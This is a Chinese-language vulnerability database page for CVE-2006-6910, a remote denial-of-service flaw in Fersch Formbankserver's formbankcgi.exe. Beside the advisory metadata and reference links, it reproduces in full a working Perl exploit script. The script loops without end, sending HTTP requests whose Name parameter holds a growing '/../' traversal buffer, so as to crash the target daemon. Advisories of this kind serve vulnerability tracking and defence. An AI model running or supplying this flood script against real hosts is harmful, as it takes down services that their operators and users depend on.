Fersch Formbankserver 'formbankcgi.exe' 远程拒绝服务漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1111912 漏洞类型 其他
发布时间 2006-12-31 更新时间 2007-01-16
CVE编号 CVE-2006-6910 CNNVD-ID CNNVD-200612-705
漏洞平台 Windows CVSS评分 7.8
|漏洞来源
https://www.exploit-db.com/exploits/3056
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200612-705
|漏洞详情
FerschFormbankserver1.9中的formbankcgi.exe,当PATH_INFO和Abfrage一起启动时,远程攻击者可以通过在Name参数中含很多/../序列的多个请求来发起拒绝服务攻击(守护程序崩溃)。
|漏洞EXP
#!perl
#Vulnerability found by Bl0od3r
#visit http://dc3.dl.am to see more exploits
#http://www.fersch.de/formbankserver/
#download:http://www.download-tipp.de/cgi-bin/jump.cgi?ID=8796
- Hide quoted text -
use IO::Socket;
use warnings;
 package exploit;
 sub new { bless {} }
 sub bar {
         my $self = shift;
$self->{host}=$ARGV[0];
$self->{port}=$ARGV[1];
&start;
}
 my $attack = exploit->new();
 $attack->bar();
 

sub error() {
print("Connection Refused.Check the host now.It seems like its successfully attacked.");
}

sub start() {
$host=$ARGV[0];
$port=$ARGV[1];
$buff="/../" x 999;
die("No Host.") unless($host);
die("No Port.") unless($port);
for ($i=0;$i<99999;$i++) {
      while () {
$buff.="BABA";
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "$port") || &error();
    syswrite STDOUT,"+";
    print $sock "GET /cgi-bin/formbankcgi.exe/Abfrage?Name=".$buff." HTTP/1.1\n";
        print $sock "Connection: close\n\n";
    syswrite STDOUT,"+";
  }
 }
}

# milw0rm.com [2006-12-31]
|参考资料

来源:XF
名称:formbankserver-formbank-dos(31216)
链接:http://xforce.iss.net/xforce/xfdb/31216
来源:BID
名称:21841
链接:http://www.securityfocus.com/bid/21841
来源:MILW0RM
名称:3056
链接:http://www.milw0rm.com/exploits/3056
来源:SECUNIA
名称:23539
链接:http://secunia.com/advisories/23539
来源:MILW0RM
名称:3056
链接:http://milw0rm.com/exploits/3056